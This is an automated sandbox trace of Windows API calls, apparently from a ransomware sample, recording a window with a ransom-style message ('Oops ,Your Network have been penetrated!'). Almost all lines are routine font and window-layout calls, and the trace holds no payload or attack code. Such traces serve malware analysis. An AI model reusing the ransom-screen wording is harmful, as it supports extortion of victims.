[0086.225] DrawTextExW (in: hdc=0xd010a02, lpchText="Oops ,Your Network have been penetrated!", cchText=40, lprc=0x2e5828, format=0x2400, lpdtp=0x2636f50 | out: lpchText="Oops ,Your Network have been penetrated!", lprc=0x2e5828) returned 25
[0086.245] GetCurrentThreadId () returned 0x2c4
[0086.245] GetCurrentThreadId () returned 0x2c4
[0086.245] GetCurrentThreadId () returned 0x2c4
[0086.245] GetCurrentThreadId () returned 0x2c4
[0086.245] GetCurrentThreadId () returned 0x2c4
[0086.245] GetCurrentThreadId () returned 0x2c4
[0086.245] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.245] AdjustWindowRectEx (in: lpRect=0x2e58b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e58b8) returned 1
[0086.245] GdipGetFamilyName (in: family=0x4ac5e0, name=0x2e5600, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0
[0086.246] GetDeviceCaps (hdc=0xd010a02, index=90) returned 96
[0086.246] CoTaskMemAlloc (cb=0x5c) returned 0x1ac10740
[0086.246] CreateFontIndirectW (lplf=0x1ac10740) returned 0x30a09ec
[0086.246] CoTaskMemFree (pv=0x1ac10740)
[0086.246] GetObjectW (in: h=0x30a09ec, c=92, pv=0x2e5610 | out: pv=0x2e5610) returned 92
[0086.246] SelectObject (hdc=0xd010a02, h=0x30a09ec) returned 0x2e0a09ef
[0086.246] GetMapMode (hdc=0xd010a02) returned 1
[0086.246] GetTextMetricsW (in: hdc=0xd010a02, lptm=0x2e5620 | out: lptm=0x2e5620) returned 1
[0086.247] DrawTextExW (in: hdc=0xd010a02, lpchText="extenssion", cchText=10, lprc=0x2e5828, format=0x2400, lpdtp=0x2637680 | out: lpchText="extenssion", lprc=0x2e5828) returned 13
[0086.253] GetCurrentThreadId () returned 0x2c4
[0086.253] GetCurrentThreadId () returned 0x2c4
[0086.254] GetCurrentThreadId () returned 0x2c4
[0086.254] GetCurrentThreadId () returned 0x2c4
[0086.255] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.255] AdjustWindowRectEx (in: lpRect=0x2e59b0, dwStyle=0x2cb0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x2e59b0) returned 1
[0086.255] AdjustWindowRectEx (in: lpRect=0x2e5b28, dwStyle=0x2cb0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x2e5b28) returned 1
[0086.255] GetSystemMetrics (nIndex=59) returned 1460
[0086.255] GetSystemMetrics (nIndex=60) returned 920
[0086.255] GetSystemMetrics (nIndex=34) returned 132
[0086.255] GetSystemMetrics (nIndex=35) returned 38
[0086.255] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.255] AdjustWindowRectEx (in: lpRect=0x2e5760, dwStyle=0x2cb0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x2e5760) returned 1
[0086.255] AdjustWindowRectEx (in: lpRect=0x2e58e8, dwStyle=0x2cb0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x2e58e8) returned 1
[0086.309] GetSystemMetrics (nIndex=11) returned 32
[0086.309] GetSystemMetrics (nIndex=12) returned 32
[0086.309] GetDC (hWnd=0x0) returned 0x90109d4
[0086.309] GetDeviceCaps (hdc=0x90109d4, index=12) returned 32
[0086.309] GetDeviceCaps (hdc=0x90109d4, index=14) returned 1
[0086.309] ReleaseDC (hWnd=0x0, hDC=0x90109d4) returned 1
[0086.310] CreateIconFromResourceEx (presbits=0x26437e0, dwResSize=0x10a8, fIcon=1, dwVer=0x30000, cxDesired=0, cyDesired=0, Flags=0x0) returned 0xc00ad
[0086.314] CreateCompatibleDC (hdc=0x0) returned 0x500107ac
[0086.317] GetDC (hWnd=0x0) returned 0x90109d4
[0086.317] GdipCreateFromHDC (hdc=0x90109d4, graphics=0x2e5808) returned 0x0
[0086.317] CoTaskMemAlloc (cb=0x5c) returned 0x1ac107b0
[0086.317] GdipGetLogFontW (font=0x1c573a40, graphics=0x1c5a7fc0, logfontW=0x1ac107b0) returned 0x0
[0086.317] CoTaskMemFree (pv=0x1ac107b0)
[0086.317] CoTaskMemAlloc (cb=0x5c) returned 0x1ac107b0
[0086.317] CoTaskMemFree (pv=0x1ac107b0)
[0086.318] CoTaskMemAlloc (cb=0x5c) returned 0x1ac107b0
[0086.318] CoTaskMemFree (pv=0x1ac107b0)
[0086.318] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0086.318] ReleaseDC (hWnd=0x0, hDC=0x90109d4) returned 1
[0086.318] CoTaskMemAlloc (cb=0x5c) returned 0x1ac107b0
[0086.318] CreateFontIndirectW (lplf=0x1ac107b0) returned 0x200a026a
[0086.319] CoTaskMemFree (pv=0x1ac107b0)
[0086.320] SelectObject (hdc=0x500107ac, h=0x200a026a) returned 0x18a002e
[0086.320] GetTextMetricsW (in: hdc=0x500107ac, lptm=0x2e5a88 | out: lptm=0x2e5a88) returned 1
[0086.320] GetTextExtentPoint32W (in: hdc=0x500107ac, lpString="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", c=52, psizl=0x2644d70 | out: psizl=0x2644d70) returned 1
[0086.322] SelectObject (hdc=0x500107ac, h=0x18a002e) returned 0x200a026a
[0086.322] DeleteDC (hdc=0x500107ac) returned 1
[0086.322] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.322] AdjustWindowRectEx (in: lpRect=0x2e5a60, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e5a60) returned 1
[0086.323] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.323] AdjustWindowRectEx (in: lpRect=0x2e58b0, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e58b0) returned 1
[0086.323] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.323] AdjustWindowRectEx (in: lpRect=0x2e59f0, dwStyle=0x56012f00, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e59f0) returned 1
[0086.323] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.324] AdjustWindowRectEx (in: lpRect=0x2e5840, dwStyle=0x56012f00, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5840) returned 1
[0086.324] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.324] AdjustWindowRectEx (in: lpRect=0x2e59f0, dwStyle=0x560108c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e59f0) returned 1
[0086.324] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.324] AdjustWindowRectEx (in: lpRect=0x2e5840, dwStyle=0x560108c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5840) returned 1
[0086.324] GetSystemMetrics (nIndex=5) returned 1
[0086.324] GetSystemMetrics (nIndex=6) returned 1
[0086.326] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.326] AdjustWindowRectEx (in: lpRect=0x2e5a60, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e5a60) returned 1
[0086.326] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.326] AdjustWindowRectEx (in: lpRect=0x2e58b0, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e58b0) returned 1
[0086.326] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.326] AdjustWindowRectEx (in: lpRect=0x2e59f0, dwStyle=0x56012f00, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e59f0) returned 1
[0086.326] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.327] AdjustWindowRectEx (in: lpRect=0x2e5840, dwStyle=0x56012f00, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5840) returned 1
[0086.327] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.327] AdjustWindowRectEx (in: lpRect=0x2e59f0, dwStyle=0x560108c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e59f0) returned 1
[0086.327] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.327] AdjustWindowRectEx (in: lpRect=0x2e5840, dwStyle=0x560108c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5840) returned 1
[0086.327] GetSystemMetrics (nIndex=5) returned 1
[0086.327] GetSystemMetrics (nIndex=6) returned 1
[0086.327] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.327] AdjustWindowRectEx (in: lpRect=0x2e5a60, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e5a60) returned 1
[0086.328] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.328] AdjustWindowRectEx (in: lpRect=0x2e58b0, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e58b0) returned 1
[0086.328] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.328] AdjustWindowRectEx (in: lpRect=0x2e59f0, dwStyle=0x56012f00, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e59f0) returned 1
[0086.328] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.328] AdjustWindowRectEx (in: lpRect=0x2e5840, dwStyle=0x56012f00, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5840) returned 1
[0086.328] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.328] AdjustWindowRectEx (in: lpRect=0x2e59f0, dwStyle=0x560108c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e59f0) returned 1
[0086.328] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.328] AdjustWindowRectEx (in: lpRect=0x2e5840, dwStyle=0x560108c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5840) returned 1
[0086.328] GetSystemMetrics (nIndex=5) returned 1
[0086.328] GetSystemMetrics (nIndex=6) returned 1
[0086.329] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.329] AdjustWindowRectEx (in: lpRect=0x2e5a60, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e5a60) returned 1
[0086.329] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.329] AdjustWindowRectEx (in: lpRect=0x2e58b0, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e58b0) returned 1
[0086.329] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.329] AdjustWindowRectEx (in: lpRect=0x2e59f0, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e59f0) returned 1
[0086.329] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.329] AdjustWindowRectEx (in: lpRect=0x2e5840, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5840) returned 1
[0086.329] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.329] AdjustWindowRectEx (in: lpRect=0x2e59f0, dwStyle=0x560108c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e59f0) returned 1
[0086.330] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.330] AdjustWindowRectEx (in: lpRect=0x2e5840, dwStyle=0x560108c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5840) returned 1
[0086.330] GetSystemMetrics (nIndex=5) returned 1
[0086.330] GetSystemMetrics (nIndex=6) returned 1
[0086.330] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.330] AdjustWindowRectEx (in: lpRect=0x2e5a70, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e5a70) returned 1
[0086.330] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.330] AdjustWindowRectEx (in: lpRect=0x2e58c0, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e58c0) returned 1
[0086.331] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.331] AdjustWindowRectEx (in: lpRect=0x2e5a30, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5a30) returned 1
[0086.331] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.331] AdjustWindowRectEx (in: lpRect=0x2e5880, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5880) returned 1
[0086.331] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.331] AdjustWindowRectEx (in: lpRect=0x2e5a30, dwStyle=0x56010044, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5a30) returned 1
[0086.331] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.331] AdjustWindowRectEx (in: lpRect=0x2e5880, dwStyle=0x56010044, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5880) returned 1
[0086.331] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.331] AdjustWindowRectEx (in: lpRect=0x2e5a30, dwStyle=0x56010044, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5a30) returned 1
[0086.332] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.332] AdjustWindowRectEx (in: lpRect=0x2e5880, dwStyle=0x56010044, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5880) returned 1
[0086.332] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.332] AdjustWindowRectEx (in: lpRect=0x2e59f0, dwStyle=0x562100c1, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e59f0) returned 1
[0086.332] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.332] AdjustWindowRectEx (in: lpRect=0x2e5800, dwStyle=0x562100c1, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5800) returned 1
[0086.333] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.333] AdjustWindowRectEx (in: lpRect=0x2e5a30, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5a30) returned 1
[0086.333] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.333] AdjustWindowRectEx (in: lpRect=0x2e5880, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5880) returned 1
[0086.333] GetSystemMetrics (nIndex=5) returned 1
[0086.333] GetSystemMetrics (nIndex=6) returned 1
[0086.333] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.333] AdjustWindowRectEx (in: lpRect=0x2e5aa0, dwStyle=0x56000007, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e5aa0) returned 1
[0086.333] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.333] AdjustWindowRectEx (in: lpRect=0x2e58f0, dwStyle=0x56000007, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e58f0) returned 1
[0086.334] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.334] AdjustWindowRectEx (in: lpRect=0x2e5a00, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e5a00) returned 1
[0086.334] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.334] AdjustWindowRectEx (in: lpRect=0x2e5850, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e5850) returned 1
[0086.334] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.334] AdjustWindowRectEx (in: lpRect=0x2e5960, dwStyle=0x56000007, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e5960) returned 1
[0086.334] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.334] AdjustWindowRectEx (in: lpRect=0x2e57b0, dwStyle=0x56000007, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e57b0) returned 1
[0086.334] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.334] AdjustWindowRectEx (in: lpRect=0x2e58f0, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e58f0) returned 1
[0086.335] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.335] AdjustWindowRectEx (in: lpRect=0x2e5740, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5740) returned 1
[0086.335] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.335] AdjustWindowRectEx (in: lpRect=0x2e5990, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5990) returned 1
[0086.335] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.335] AdjustWindowRectEx (in: lpRect=0x2e57e0, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e57e0) returned 1
[0086.335] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.335] AdjustWindowRectEx (in: lpRect=0x2e5950, dwStyle=0x56b110c1, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5950) returned 1
[0086.335] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.335] AdjustWindowRectEx (in: lpRect=0x2e5760, dwStyle=0x56b110c1, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5760) returned 1
[0086.335] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.335] AdjustWindowRectEx (in: lpRect=0x2e5960, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e5960) returned 1
[0086.336] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.336] AdjustWindowRectEx (in: lpRect=0x2e57b0, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e57b0) returned 1
[0086.336] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.336] AdjustWindowRectEx (in: lpRect=0x2e58f0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e58f0) returned 1
[0086.336] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.336] AdjustWindowRectEx (in: lpRect=0x2e5740, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5740) returned 1
[0086.336] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.336] AdjustWindowRectEx (in: lpRect=0x2e54e8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e54e8) returned 1
[0086.337] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.337] AdjustWindowRectEx (in: lpRect=0x2e58f0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e58f0) returned 1
[0086.337] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.337] AdjustWindowRectEx (in: lpRect=0x2e5740, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5740) returned 1
[0086.337] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.337] AdjustWindowRectEx (in: lpRect=0x2e54e8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e54e8) returned 1
[0086.338] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.338] AdjustWindowRectEx (in: lpRect=0x2e58f0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e58f0) returned 1
[0086.338] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.338] AdjustWindowRectEx (in: lpRect=0x2e5740, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5740) returned 1
[0086.338] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.338] AdjustWindowRectEx (in: lpRect=0x2e54e8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e54e8) returned 1
[0086.338] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.338] AdjustWindowRectEx (in: lpRect=0x2e58f0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e58f0) returned 1
[0086.338] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.338] AdjustWindowRectEx (in: lpRect=0x2e5740, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5740) returned 1
[0086.339] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.339] AdjustWindowRectEx (in: lpRect=0x2e54e8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e54e8) returned 1
[0086.339] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.339] AdjustWindowRectEx (in: lpRect=0x2e58f0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e58f0) returned 1
[0086.339] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.339] AdjustWindowRectEx (in: lpRect=0x2e5740, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5740) returned 1
[0086.339] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.339] AdjustWindowRectEx (in: lpRect=0x2e54e8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e54e8) returned 1
[0086.339] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.339] AdjustWindowRectEx (in: lpRect=0x2e58f0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e58f0) returned 1
[0086.339] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.339] AdjustWindowRectEx (in: lpRect=0x2e5740, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5740) returned 1
[0086.340] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.340] AdjustWindowRectEx (in: lpRect=0x2e54e8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e54e8) returned 1
[0086.340] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.340] AdjustWindowRectEx (in: lpRect=0x2e58f0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e58f0) returned 1
[0086.340] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.340] AdjustWindowRectEx (in: lpRect=0x2e5740, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5740) returned 1
[0086.340] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.340] AdjustWindowRectEx (in: lpRect=0x2e54e8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e54e8) returned 1
[0086.340] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.340] AdjustWindowRectEx (in: lpRect=0x2e58f0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e58f0) returned 1
[0086.340] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.341] AdjustWindowRectEx (in: lpRect=0x2e5740, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5740) returned 1
[0086.341] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.341] AdjustWindowRectEx (in: lpRect=0x2e54e8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e54e8) returned 1
[0086.341] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.341] AdjustWindowRectEx (in: lpRect=0x2e58f0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e58f0) returned 1
[0086.341] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.341] AdjustWindowRectEx (in: lpRect=0x2e5740, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5740) returned 1
[0086.341] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.341] AdjustWindowRectEx (in: lpRect=0x2e54e8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e54e8) returned 1
[0086.341] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.341] AdjustWindowRectEx (in: lpRect=0x2e58f0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e58f0) returned 1
[0086.342] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.342] AdjustWindowRectEx (in: lpRect=0x2e5740, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5740) returned 1
[0086.342] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.342] AdjustWindowRectEx (in: lpRect=0x2e54e8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e54e8) returned 1
[0086.342] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.342] AdjustWindowRectEx (in: lpRect=0x2e58f0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e58f0) returned 1
[0086.342] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.342] AdjustWindowRectEx (in: lpRect=0x2e5740, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5740) returned 1
[0086.342] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.342] AdjustWindowRectEx (in: lpRect=0x2e54e8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e54e8) returned 1
[0086.344] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.344] AdjustWindowRectEx (in: lpRect=0x2e56e0, dwStyle=0x2ca0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x2e56e0) returned 1
[0086.344] GetCursorPos (in: lpPoint=0x2647f00 | out: lpPoint=0x2647f00*(x=64, y=353)) returned 1
[0086.345] GetSystemMetrics (nIndex=80) returned 1
[0086.347] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x2e5490 | out: lpmi=0x2e5490) returned 1
[0086.347] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x520107ac
[0086.348] GetDeviceCaps (hdc=0x520107ac, index=12) returned 32
[0086.348] GetDeviceCaps (hdc=0x520107ac, index=14) returned 1
[0086.348] DeleteDC (hdc=0x520107ac) returned 1
[0086.348] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x2e5560 | out: lpmi=0x2e5560) returned 1
[0086.348] AdjustWindowRectEx (in: lpRect=0x2e5960, dwStyle=0x2ca0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x2e5960) returned 1
[0086.348] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.348] AdjustWindowRectEx (in: lpRect=0x2e55d0, dwStyle=0x2ca0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x2e55d0) returned 1
[0086.348] GetCursorPos (in: lpPoint=0x2648368 | out: lpPoint=0x2648368*(x=64, y=353)) returned 1
[0086.348] MonitorFromPoint (pt=0x1640000003e, dwFlags=0x2) returned 0x10001
[0086.348] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x2e5380 | out: lpmi=0x2e5380) returned 1
[0086.348] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x530107ac
[0086.349] GetDeviceCaps (hdc=0x530107ac, index=12) returned 32
[0086.349] GetDeviceCaps (hdc=0x530107ac, index=14) returned 1
[0086.349] DeleteDC (hdc=0x530107ac) returned 1
[0086.349] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x2e5450 | out: lpmi=0x2e5450) returned 1
[0086.349] AdjustWindowRectEx (in: lpRect=0x2e5750, dwStyle=0x2ca0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x2e5750) returned 1
[0086.349] GetSystemMetrics (nIndex=34) returned 132
[0086.349] GetSystemMetrics (nIndex=35) returned 38
[0086.349] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
